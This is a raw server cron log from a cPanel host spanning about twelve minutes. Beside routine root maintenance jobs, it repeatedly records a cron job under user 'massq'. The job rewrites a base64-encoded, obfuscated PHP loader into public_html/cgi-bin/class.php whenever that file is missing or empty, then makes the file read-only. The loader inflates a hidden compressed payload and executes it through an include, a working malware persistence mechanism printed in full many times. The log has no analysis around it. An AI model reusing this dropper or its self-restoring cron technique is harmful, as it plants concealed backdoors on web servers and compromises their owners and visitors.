Sep  6 23:47:01 server CROND[3756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:47:01 server CROND[3758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:47:01 server CROND[3757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:48:01 server CROND[4130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:48:01 server CROND[4131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:48:01 server CROND[4132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:49:01 server CROND[4496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:49:01 server CROND[4495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:49:01 server CROND[4497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:50:01 server CROND[4889]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 23:50:01 server CROND[4890]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:50:01 server CROND[4893]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 23:50:01 server CROND[4896]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 23:50:01 server CROND[4902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:50:01 server CROND[4906]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 23:50:01 server CROND[4908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:50:01 server CROND[4910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:50:01 server CROND[4909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:51:01 server CROND[5832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:51:01 server CROND[5834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:51:01 server CROND[5833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:52:01 server CROND[6205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:52:01 server CROND[6207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:52:01 server CROND[6206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:53:01 server CROND[6574]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  6 23:53:01 server CROND[6575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:53:01 server CROND[6576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:53:01 server CROND[6577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:54:01 server CROND[6961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:54:01 server CROND[6962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:54:01 server CROND[6963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:55:01 server CROND[7393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:55:01 server CROND[7395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 23:55:01 server CROND[7396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:55:01 server CROND[7397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:55:01 server CROND[7394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:55:01 server CROND[7399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:55:01 server CROND[7400]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 23:56:01 server CROND[8520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:56:01 server CROND[8521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:56:01 server CROND[8522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:57:01 server CROND[8909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:57:01 server CROND[8910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:57:01 server CROND[8911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:57:01 server CROND[8912]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 23:58:01 server CROND[9281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:58:01 server CROND[9283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:58:01 server CROND[9282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
